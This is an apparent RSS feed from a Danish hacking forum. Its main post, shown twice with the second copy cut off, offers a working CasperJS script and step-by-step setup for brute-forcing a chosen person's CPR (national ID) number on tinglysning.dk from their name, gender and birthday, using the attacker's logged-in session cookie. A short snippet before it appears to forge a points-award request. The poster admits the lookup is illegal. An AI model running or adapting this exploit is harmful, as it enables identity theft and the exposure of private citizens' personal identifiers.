<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"></span></span><br />
<pre class="line-numbers"><code class="language-javascript">&#36;.ajax({<br />
    method: "POST",<br />
    url: "callback-ism.php",<br />
    data: {<br />
        action: 'setpoint',<br />
        email: email,<br />
        pointz: 'XXX',<br />
        sec: s(email, 'XXX', token)<br />
    }<br />
});<br />
</code></pre></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Tinglysning - Find CPR på folk ud fra navn og fødselsdag]]></title>
			<link>https://www.shellsec.pw/traad-tinglysning-find-cpr-paa-folk-ud-fra</link>
			<pubDate>Sun, 04 Sep 2016 12:20:29 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-tinglysning-find-cpr-paa-folk-ud-fra</guid>
			<description><![CDATA[<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ff4500;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">NOTE: Det er efter dansk lovgivning strengt forbudt at slå andres CPR numre op og benytte sig af dette</span></span></span></span></span></span><br />
<br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b">Generelt</span></span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">Dette "udnytter" en gammel fejl på tinglysning.dk, hvor at man ved hjælp af brute force kan skaffe sig et CPR-nummer på en vilkår person, ved hjælp fra deres fulde navn og fødselsdag.</span></span><br />
<span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><span style="font-size: small;" class="mycode_size">Lavede programmet i en test, da fejlen har været omdiskuteret t</span><span style="font-size: small;" class="mycode_size">idligere, og så ville jeg bare gerne automatiserer det for sjov skyld.</span></span><br />
<br />
<span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><span style="font-size: small;" class="mycode_size">Der er sikkert nogle ting ved programmet som kan gøre bedre, men programmet virker og så kan det være at jeg måske laver en forbedret version.</span></span><br />
<br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b">Opsætning</span></span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">Har prøvet så vidt muligt at få opsætningen til at være så smertefri som muligt. Som man kan se i toppen, så skal man udfylde 2 informationer fra tinglysning.dk (Kræver man logger ind med NemID på siden, ellers så virker dette ikke).</span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">Samt så skal man udfylde fulde navn, køn og fødselsdag på den person man gerne ville finde CPR-nummeret på.</span></span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">Find de nødvendige informationer fra Tinglysning.dk</span></span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">1. Login med NemID på tinglysning.dk</span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">2. Tryk på "Opret digital fuldmagt" i menuen i toppen.</span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">3. Tryk på "Tingbogen"</span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">4. Kopier linket på den side du er på, og skulle gerne ligne det link som også er angivet som eksempel i programmet.</span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">(<a href="https://www.tinglysning.dk/tinglysning/fuldmagt/opretfuldmagt.xhtml?_afPfm=-XXXXXXXXX" target="_blank" rel="noopener" class="mycode_url">https://www.tinglysning.dk/tinglysning/f...-XXXXXXXXX</a>)</span></span><br />
<br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">Efter dette så skal vi have fundet en måde at fremskaffe værdien fra cookien "TDK_JSESSIONID" på Tinglysning.dk</span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">For mit eget vedkommende bruger jeg Chrome og har installeret EditThisCookie, så det er bare tryk på ikonet og så får jeg de informationer jeg skal bruge.</span></span><br />
<br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">Eller så kan man skrive chrome://settings/cookies som url i chrome, og så søge på Tinglysning.dk og så skulle det gerne komme frem</span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><a href="https://vgy.me/Qj7F2e.png" target="_blank" rel="noopener" class="mycode_url">https://vgy.me/Qj7F2e.png</a></span></span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">Installer de nødvendige ting til at køre programmet</span></span></span><br />
Programmet er lavet i noget der hedder CasperJS, som kræver PhantomJS og Python for at kunne køre det.<br />
Det burde være rimelig simpelt for folk at installerer det - <a href="http://docs.casperjs.org/en/latest/installation.html#casperjs-on-windows" target="_blank" rel="noopener" class="mycode_url">http://docs.casperjs.org/en/latest/insta...on-windows</a><br />
<br />
Tilføj Path på PhantomJS og CasperJS som også er forklaret på linket.<br />
Og så bare skriv casperjs &lt;filenavn&gt; og så burde programmet kører.<br />
<br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b">Kode</span></span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"></span></span><br />
<pre class="line-numbers"><code class="language-javascript">// ******************** INDSTILLINGER START ******************** //<br />
<br />
// Indsæt URL fra browser<br />
// Eksempelvis: <a href="https://www.tinglysning.dk" target="_blank" rel="noopener" class="mycode_url">https://www.tinglysning.dk</a> /tinglysning/fuldmagt/opretfuldmagt.xhtml?_abPfm=-v7jsugjo5<br />
var url = '';<br />
<br />
// Indsæt cookie værdi (TDK_JSESSIONID)<br />
// Eksempelvis: asdasAZC9KkKYcdYsUVhBac15Lsyjdfp5dvYkJn957bbmNqnJk5!-300513349!-310799201<br />
var TDK_JSESSIONID = '';<br />
<br />
var person = {<br />
  fullName: '', // Eksempel: Lars Larsen<br />
  gender:  '', // Eksempel: male<br />
  birthDay: '', // Eksempel: 24<br />
  birthMonth: '', // Eksempel: 12<br />
  birthYear: '' // Eksempel: 1989<br />
}<br />
<br />
// ******************** INDSTILLINGER SLUT ******************** //<br />
<br />
var casper = require('casper').create({<br />
pageSettings: {<br />
        loadImages:  false,        // The WebPage instance used by Casper will<br />
        loadPlugins: false,        // use these settings<br />
        userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"<br />
    },<br />
  logLevel: "debug",              // Only "info" level messages will be logged<br />
  verbose: false                 // log messages will be printed out to the console<br />
});<br />
<br />
var utils = require('utils');<br />
var f = utils.format;<br />
<br />
casper.checkStep = function checkStep(self, onComplete) {<br />
    if (self.pendingWait || self.loadInProgress) {<br />
        return;<br />
    }<br />
    self.current = self.step;<br />
    var step = self.steps[self.step++];<br />
    if (utils.isFunction(step)) {<br />
        self.runStep(step);<br />
        step.executed = true;<br />
    } else {<br />
        self.result.time = new Date().getTime() - self.startTime;<br />
        self.log(f("Done %s steps in %dms", self.steps.length, self.result.time), "info");<br />
        clearInterval(self.checker);<br />
        self.emit('run.complete');<br />
        if (utils.isFunction(onComplete)) {<br />
            try {<br />
                onComplete.call(self, self);<br />
            } catch (err) {<br />
                self.log("Could not complete final step: " + err, "error");<br />
            }<br />
        } else {<br />
            self.exit();<br />
        }<br />
    }<br />
};<br />
<br />
casper.then = function then(step) {<br />
    if (!this.started) {<br />
        throw new CasperError("Casper not started; please use Casper#start");<br />
    }<br />
    if (!utils.isFunction(step)) {<br />
        throw new CasperError("You can only define a step as a function");<br />
    }<br />
    if (this.checker === null) {<br />
        step.level = 0;<br />
        this.steps.push(step);<br />
        step.executed = false;<br />
        this.emit('step.added', step);<br />
    } else {<br />
<br />
      if( !this.steps[this.current].executed ) {<br />
        try {<br />
            step.level = this.steps[this.current].level + 1;<br />
        } catch (e) {<br />
            step.level = 0;<br />
        }<br />
        var insertIndex = this.step;<br />
        while (this.steps[insertIndex] &amp;&amp; step.level === this.steps[insertIndex].level) {<br />
            insertIndex++;<br />
        }<br />
        this.steps.splice(insertIndex, 0, step);<br />
        step.executed = false;<br />
        this.emit('step.added', step);<br />
      }<br />
    }<br />
    return this;<br />
};<br />
<br />
casper.label = function label( labelname ) {<br />
  var step = new Function('"empty function for label: ' + labelname + ' "');<br />
  step.label = labelname;<br />
  this.then(step);<br />
};<br />
<br />
casper.goto = function goto( labelname ) {<br />
  for( var i=0; i&lt;this.steps.length; i++ ){<br />
      if( this.steps[i].label == labelname ) {<br />
        this.step = i;<br />
      }<br />
  }<br />
};<br />
<br />
casper.dumpSteps = function dumpSteps( showSource ) {<br />
  this.echo( "=========================== Dump Navigation Steps ==============================", "RED_BAR");<br />
  if( this.current ){ this.echo( "Current step No. = " + (this.current+1) , "INFO"); }<br />
  this.echo( "Next    step No. = " + (this.step+1) , "INFO");<br />
  this.echo( "steps.length = " + this.steps.length , "INFO");<br />
  this.echo( "================================================================================", "WARNING" );<br />
<br />
  for( var i=0; i&lt;this.steps.length; i++){<br />
    var step  = this.steps[i];<br />
    var msg   = "Step: " + (i+1) + "/" + this.steps.length + "     level: " + step.level<br />
    if( step.executed ){ msg = msg + "     executed: " + step.executed }<br />
    var color = "PARAMETER";<br />
    if( step.label    ){ color="INFO"; msg = msg + "     label: " + step.label }<br />
<br />
    if( i == this.current ) {<br />
      this.echo( msg + "     &lt;====== Current Navigation Step.", "COMMENT");<br />
    } else {<br />
      this.echo( msg, color );<br />
    }<br />
    if( showSource ) {<br />
      this.echo( "--------------------------------------------------------------------------------" );<br />
      this.echo( this.steps[i] );<br />
      this.echo( "================================================================================", "WARNING" );<br />
    }<br />
  }<br />
};<br />
<br />
var cprCalc = {<br />
  // Table used for modules 11 test<br />
  CPR_MULTIPLICATION_TABLE: [4,3,2,7,6,5,4,3,2,1],<br />
<br />
  firstSixDigits: function(year, month, day) {<br />
    // make sure year, month, day are strings<br />
    year = year.toString();<br />
    month = month.toString();<br />
    day = day.toString();<br />
<br />
    return this.padNumber(day,2) + this.padNumber(month,2) + year.substr(2);<br />
  },<br />
<br />
  possibleLastFour: function(gender, year, month, day) {<br />
    var possibleLastFour = [];<br />
<br />
    firstSixDigits = this.firstSixDigits(year, month, day);<br />
<br />
    // populate last four with all that matches gender<br />
    // pad number with zeroes if necessary so that it is 4 chars<br />
    for(i=0; i &lt;= 9999; i++) {<br />
      if (this.numberMatchesGender(i, gender)) possibleLastFour.push(this.padNumber(i, 4));<br />
    }<br />
<br />
    for(j=0; j &lt; possibleLastFour.length; j++) {<br />
      var entireCpr = firstSixDigits+possibleLastFour[j];<br />
<br />
      // check for exclusion based on combination of 7th digit and year<br />
      if (this.excludedBy7thDigit(possibleLastFour[j], year)) possibleLastFour[j]=null;<br />
<br />
      // remove last four unless the entire cpr combination matches modulus 11 test<br />
      // set value to null if does not match modulus 11. we then later remove all these empty elements from the array<br />
      if (this.matchesModolus11(entireCpr)==false) { possibleLastFour[j]=null; }<br />
    }<br />
<br />
    // return array with null entries discarded<br />
    cleanedLastFour = [];<br />
    for(k=0; k &lt; possibleLastFour.length; k++) { if(possibleLastFour[k]!=null) cleanedLastFour.push(possibleLastFour[k]) }<br />
    return cleanedLastFour;<br />
  },<br />
<br />
  // modulus 11 test (<a href="http://da.wikipedia.org/wiki/CPR-nummer#Kontrolciffer_.28det_gamle_CPR-nummer.29" target="_blank" rel="noopener" class="mycode_url">http://da.wikipedia.org/wiki/CPR-nummer#...-nummer.29</a>)<br />
  matchesModolus11: function(cpr) {<br />
    var checkSum = 0;<br />
    for(i=0; i &lt; 10; i++) {<br />
      currentCprDigit = parseInt(cpr.substr(i, 1));<br />
      productOfDigitWithMultiplicationNumber = currentCprDigit*this.CPR_MULTIPLICATION_TABLE[i];<br />
      checkSum = checkSum + productOfDigitWithMultiplicationNumber;<br />
    }<br />
    return (checkSum % 11 == 0);<br />
  },<br />
<br />
  // Returns true if the first digit of the last four (7th digit of entire CPR)<br />
  // is impossible based on year and the table found here: <a href="http://da.wikipedia.org/wiki/CPR-nummer#Under_eller_over_100_.C3.A5r" target="_blank" rel="noopener" class="mycode_url">http://da.wikipedia.org/wiki/CPR-nummer#...00_.C3.A5r</a><br />
  // This is currently incomplete and only excludes completely for 7th digits 5-8 and years between 1937 and 1999<br />
  excludedBy7thDigit: function(lastFour, yearOfBirth) {<br />
    // first digit of last four which is the same as seventh digit of CPR<br />
    seventhDigit = lastFour.substr(0,1);<br />
    // If year is between 1900 and 1999, 5,6,7, or 8 is impossible<br />
    if(yearOfBirth&lt;2000 &amp;&amp; yearOfBirth&gt;1899) {<br />
      if ((seventhDigit&gt;=5) &amp;&amp; (seventhDigit&lt;=8)) return true;<br />
    }<br />
    return false;<br />
  },<br />
<br />
  // The last digit of the last four (or entire cpr no.) must be<br />
  // even for females and uneven for males<br />
  numberMatchesGender: function(number, gender) {<br />
    if((number % 2 == 1) &amp;&amp; gender=="male") return true;<br />
    if((number % 2 == 0) &amp;&amp; gender=="female") return true;<br />
    return false;<br />
  },<br />
<br />
  padNumber: function(n, width, z) {<br />
    z = z || '0';<br />
    n = n + '';<br />
    return n.length &gt;= width ? n : new Array(width - n.length + 1).join(z) + n;<br />
  },<br />
};<br />
<br />
var colorizer = require('colorizer').create('Colorizer');<br />
var cprList = cprCalc.possibleLastFour(person.gender, person.birthYear, person.birthMonth, person.birthDay);<br />
var i = 0;<br />
casper.options.viewportSize = {width: 1600, height: 950};<br />
phantom.addCookie({<br />
domain: 'www.tinglysning.dk',<br />
    name: 'TDK_JSESSIONID',<br />
    value: TDK_JSESSIONID<br />
});<br />
<br />
casper.start(url);<br />
casper.label( "LOOP_START" );<br />
casper.waitForSelector('.container-content');<br />
casper.then(function() {<br />
this.fillSelectors('.container-content', {<br />
        'input[id="content:subform:opretfuldmagt:meddelelseshaverCprnummer"]': person.birthDay+person.birthMonth+person.birthYear[2]+person.birthYear[3]+"-"+cprList[i],<br />
        'input[id="content:subform:opretfuldmagt:meddelelseshaverMatchNavn"]': person.fullName,<br />
    }, false);<br />
    this.clickLabel('Opdater', 'button');<br />
})<br />
casper.then(function() {<br />
if (this.exists('li.infomessage')) {<br />
        console.log(colorizer.colorize(person.birthDay+person.birthMonth+person.birthYear[2]+person.birthYear[3]+'-'+cprList[i]+' - Forkert', 'ERROR'));<br />
        this.goto( "LOOP_START" );<br />
        i++;<br />
    } else {<br />
    console.log(colorizer.colorize(person.birthDay+person.birthMonth+person.birthYear[2]+person.birthYear[3]+'-'+cprList[i]+' - Korrekt', 'INFO'));<br />
    }<br />
});<br />
casper.then(function() {<br />
    casper.wait(5000);<br />
});<br />
casper.run();</code></pre>
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"></div></div></span></span>]]></description>
			<content:encoded><![CDATA[<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ff4500;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">NOTE: Det er efter dansk lovgivning strengt forbudt at slå andres CPR numre op og benytte sig af dette</span></span></span></span></span></span><br />
<br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b">Generelt</span></span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">Dette "udnytter" en gammel fejl på tinglysning.dk, hvor at man ved hjælp af brute force kan skaffe sig et CPR-nummer på en vilkår person, ved hjælp fra deres fulde navn og fødselsdag.</span></span><br />
<span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><span style="font-size: small;" class="mycode_size">Lavede programmet i en test, da fejlen har været omdiskuteret t</span><span style="font-size: small;" class="mycode_size">idligere, og så ville jeg bare gerne automatiserer det for sjov skyld.</span></span><br />
<br />
<span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><span style="font-size: small;" class="mycode_size">Der er sikkert nogle ting ved programmet som kan gøre bedre, men programmet virker og så kan det være at jeg måske laver en forbedret version.</span></span><br />
<br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b">Opsætning</span></span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">Har prøvet så vidt muligt at få opsætningen til at være så smertefri som muligt. Som man kan se i toppen, så skal man udfylde 2 informationer fra tinglysning.dk (Kræver man logger ind med NemID på siden, ellers så virker dette ikke).</span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">Samt så skal man udfylde fulde navn, køn og fødselsdag på den person man gerne ville finde CPR-nummeret på.</span></span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">Find de nødvendige informationer fra Tinglysning.dk</span></span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">1. Login med NemID på tinglysning.dk</span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">2. Tryk på "Opret digital fuldmagt" i menuen i toppen.</span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">3. Tryk på "Tingbogen"</span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">4. Kopier linket på den side du er på, og skulle gerne ligne det link som også er angivet som eksempel i programmet.</span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">(<a href="https://www.tinglysning.dk/tinglysning/fuldmagt/opretfuldmagt.xhtml?_afPfm=-XXXXXXXXX" target="_blank" rel="noopener" class="mycode_url">https://www.tinglysning.dk/tinglysning/f...-XXXXXXXXX</a>)</span></span><br />
<br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">Efter dette så skal vi have fundet en måde at fremskaffe værdien fra cookien "TDK_JSESSIONID" på Tinglysning.dk</span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">For mit eget vedkommende bruger jeg Chrome og har installeret EditThisCookie, så det er bare tryk på ikonet og så får jeg de informationer jeg skal bruge.</span></span><br />
<br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">Eller så kan man skrive chrome://settings/cookies som url i chrome, og så søge på Tinglysning.dk og så skulle det gerne komme frem</span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><a href="https://vgy.me/Qj7F2e.png" target="_blank" rel="noopener" class="mycode_url">https://vgy.me/Qj7F2e.png</a></span></span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">Installer de nødvendige ting til at køre programmet</span></span></span><br />
Programmet er lavet i noget der hedder CasperJS, som kræver PhantomJS og Python for at kunne køre det.<br />
Det burde være rimelig simpelt for folk at installerer det - <a href="http://docs.casperjs.org/en/latest/installation.html#casperjs-on-windows" target="_blank" rel="noopener" class="mycode_url">http://docs.casperjs.org/en/latest/insta...on-windows</a><br />
<br />
Tilføj Path på PhantomJS og CasperJS som også er forklaret på linket.<br />
Og så bare skriv casperjs &lt;filenavn&gt; og så burde programmet kører.<br />
<br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b">Kode</span></span></span><br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"></span></span><br />
<pre class="line-numbers"><code class="language-javascript">// ******************** INDSTILLINGER START ******************** //<br />
<br />
// Indsæt URL fra browser<br />
// Eksempelvis: <a href="https://www.tinglysning.dk" target="_blank" rel="noopener" class="mycode_url">https://www.tinglysning.dk</a> /tinglysning/fuldmagt/opretfuldmagt.xhtml?_abPfm=-v7jsugjo5<br />
var url = '';<br />
<br />
// Indsæt cookie værdi (TDK_JSESSIONID)<br />
// Eksempelvis: asdasAZC9KkKYcdYsUVhBac15Lsyjdfp5dvYkJn957bbmNqnJk5!-300513349!-310799201<br />
var TDK_JSESSIONID = '';<br />
<br />
var person = {<br />
  fullName: '', // Eksempel: Lars Larsen<br />
  gender:  '', // Eksempel: male<br />
  birthDay: '', // Eksempel: 24<br />
  birthMonth: '', // Eksempel: 12<br />
  birthYear: '' // Eksempel: 1989<br />
}<br />
<br />
// ******************** INDSTILLINGER SLUT ******************** //<br />
<br />
var casper = require('casper').create({<br />
pageSettings: {<br />
        loadImages:  false,        // The WebPage instance used by Casper will<br />
        loadPlugins: false,        // use these settings<br />
        userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"<br />
    },<br />
  logLevel: "debug",              // Only "info" level messages will be logged<br />
  verbose: false                 // log messages will be printed out to the console<br />
});<br />
<br />
var utils = require('utils');<br />
var f = utils.format;<br />
<br />
casper.checkStep = function checkStep(self, onComplete) {<br />
    if (self.pendingWait || self.loadInProgress) {<br />
        return;<br />
    }<br />
    self.current = self.step;<br />
    var step = self.steps[self.step++];<br />
    if (utils.isFunction(step)) {<br />
        self.runStep(step);<br />
        step.executed = true;<br />
    } else {<br />
        self.result.time = new Date().getTime() - self.startTime;<br />
        self.log(f("Done %s steps in %dms", self.steps.length, self.result.time), "info");<br />
        clearInterval(self.checker);<br />
        self.emit('run.complete');<br />
        if (utils.isFunction(onComplete)) {<br />
            try {<br />
                onComplete.call(self, self);<br />
            } catch (err) {<br />
                self.log("Could not complete final step: " + err, "error");<br />
            }<br />
        } else {<br />
            self.exit();<br />
        }<br />
    }<br />
};<br />
<br />
casper.then = function then(step) {<br />
    if (!this.started) {<br />
        throw new CasperError("Casper not started; please use Casper#start");<br />
    }<br />
    if (!utils.isFunction(step)) {<br />
        throw new CasperError("You can only define a step as a function");<br />
    }<br />
    if (this.checker === null) {<br />
        step.level = 0;<br />
        this.steps.push(step);<br />
        step.executed = false;<br />
        this.emit('step.added', step);<br />
    } else {<br />
<br />
      if( !this.steps[this.current].executed ) {<br />
        try {<br />
            step.level = this.steps[this.current].level + 1;<br />
        } catch (e) {<br />
            step.level = 0;<br />
        }<br />
        var insertIndex = this.step;<br />
        while (this.steps[insertIndex] &amp;&amp; step.level === this.steps[insertIndex].level) {<br />
            insertIndex++;<br />
        }<br />
        this.steps.splice(insertIndex, 0, step);<br />
        step.executed = false;<br />
        this.emit('step.added', step);<br />
      }<br />
    }<br />
    return this;<br />
};<br />
<br />
casper.label = function label( labelname ) {<br />
  var step = new Function('"empty function for label: ' + labelname + ' "');<br />
  step.label = labelname;<br />
  this.then(step);<br />
};<br />
<br />
casper.goto = function goto( labelname ) {<br />
  for( var i=0; i&lt;this.steps.length; i++ ){<br />
      if( this.steps[i].label == labelname ) {<br />
        this.step = i;<br />
      }<br />
  }<br />
};<br />
<br />
casper.dumpSteps = function dumpSteps( showSource ) {<br />
  this.echo( "=========================== Dump Navigation Steps ==============================", "RED_BAR");<br />
  if( this.current ){ this.echo( "Current step No. = " + (this.current+1) , "INFO"); }<br />
  this.echo( "Next    step No. = " + (this.step+1) , "INFO");<br />
  this.echo( "steps.length = " + this.steps.length , "INFO");<br />
  this.echo( "================================================================================", "WARNING" );<br />
<br />
  for( var i=0; i&lt;this.steps.length; i++){<br />
    var step  = this.steps[i];<br />
    var msg   = "Step: " + (i+1) + "/" + this.steps.length + "     level: " + step.level<br />
    if( step.executed ){ msg = msg + "     executed: " + step.executed }<br />
    var color = "PARAMETER";<br />
    if( step.label    ){ color="INFO"; msg = msg + "     label: " + step.label }<br />
<br />
    if( i == this.current ) {<br />
      this.echo( msg + "     &lt;====== Current Navigation Step.", "COMMENT");<br />
    } else {<br />
      this.echo( msg, color );<br />
    }<br />
    if( showSource ) {<br />
      this.echo( "--------------------------------------------------------------------------------" );<br />
      this.echo( this.steps[i] );<br />
      this.echo( "================================================================================", "WARNING" );<br />
    }<br />
  }<br />
};<br />
<br />
var cprCalc = {<br />
  // Table used for modules 11 test<br />
  CPR_MULTIPLICATION_TABLE: [4,3,2,7,6,5,4,3,2,1],<br />
<br />
  firstSixDigits: function(year, month, day) {<br />
    // make sure year, month, day are strings<br />
    year = year.toString();<br />
    month = month.toString();<br />
    day = day.toString();<br />
<br />
    return this.padNumber(day,2) + this.padNumber(month,2) + year.substr(2);<br />
  },<br />
<br />
  possibleLastFour: function(gender, year, month, day) {<br />
    var possibleLastFour = [];<br />
<br />
    firstSixDigits = this.firstSixDigits(year, month, day);<br />
<br />
    // populate last four with all that matches gender<br />
    // pad number with zeroes if necessary so that it is 4 chars<br />
    for(i=0; i &lt;= 9999; i++) {<br />
      if (this.numberMatchesGender(i, gender)) possibleLastFour.push(this.padNumber(i, 4));<br />
    }<br />
<br />
    for(j=0; j &lt; possibleLastFour.length; j++) {<br />
      var entireCpr = firstSixDigits+possibleLastFour[j];<br />
<br />
      // check for exclusion based on combination of 7th digit and year<br />
      if (this.excludedBy7thDigit(possibleLastFour[j], year)) possibleLastFour[j]=null;<br />
<br />
      // remove last four unless the entire cpr combination matches modulus 11 test<br />
      // set value to null if does not match modulus 11. we then later remove all these empty elements from the array<br />
      if (this.matchesModolus11(entireCpr)==false) { possibleLastFour[j]=null; }<br />
    }<br />
<br />
    // return array with null entries discarded<br />
    cleanedLastFour = [];<br />
    for(k=0; k &lt; possibleLastFour.length; k++) { if(possibleLastFour[k]!=null) cleanedLastFour.push(possibleLastFour[k]) }<br />
    return cleanedLastFour;<br />
  },<br />
<br />
  // modulus 11 test (<a href="http://da.wikipedia.org/wiki/CPR-nummer#Kontrolciffer_.28det_gamle_CPR-nummer.29" target="_blank" rel="noopener" class="mycode_url">http://da.wikipedia.org/wiki/CPR-nummer#...-nummer.29</a>)<br />
  matchesModolus11: function(cpr) {<br />
    var checkSum = 0;<br />
    for(i=0; i &lt; 10; i++) {<br />
      currentCprDigit = parseInt(cpr.substr(i, 1));<br />
      productOfDigitWithMultiplicationNumber = currentCprDigit*this.CPR_MULTIPLICATION_TABLE[i];<br />
      checkSum = checkSum + productOfDigitWithMultiplicationNumber;<br />
    }<br />
    return (checkSum % 11 == 0);<br />
  },<br />
<br />
  // Returns true if the first digit of the last four (7th digit of entire CPR)<br />
  // is impossible based on year and the table found here: <a href="http://da.wikipedia.org/wiki/CPR-nummer#Under_eller_over_100_.C3.A5r" target="_blank" rel="noopener" class="mycode_url">http://da.wikipedia.org/wiki/CPR-nummer#...00_.C3.A5r</a><br />
  // This is currently incomplete and only excludes completely for 7th digits 5-8 and years between 1937 and 1999<br />
  excludedBy7thDigit: function(lastFour, yearOfBirth) {<br />
    // first digit of last four which is the same as seventh digit of CPR<br />
    seventhDigit = lastFour.substr(0,1);<br />
    // If year is between 1900 and 1999, 5,6,7, or 8 is impossible<br />
    if(yearOfBirth&lt;2000 &amp;&amp; yearOfBirth&gt;1899) {<br />
      if ((seventhDigit&gt;=5) &amp;&amp; (seventhDigit&lt;=8)) return true;<br />
    }<br />
    return false;<br />
  },<br />
<br />
  // The last digit of the last four (or entire cpr no.) must be<br />
  // even for females and uneven for males<br />
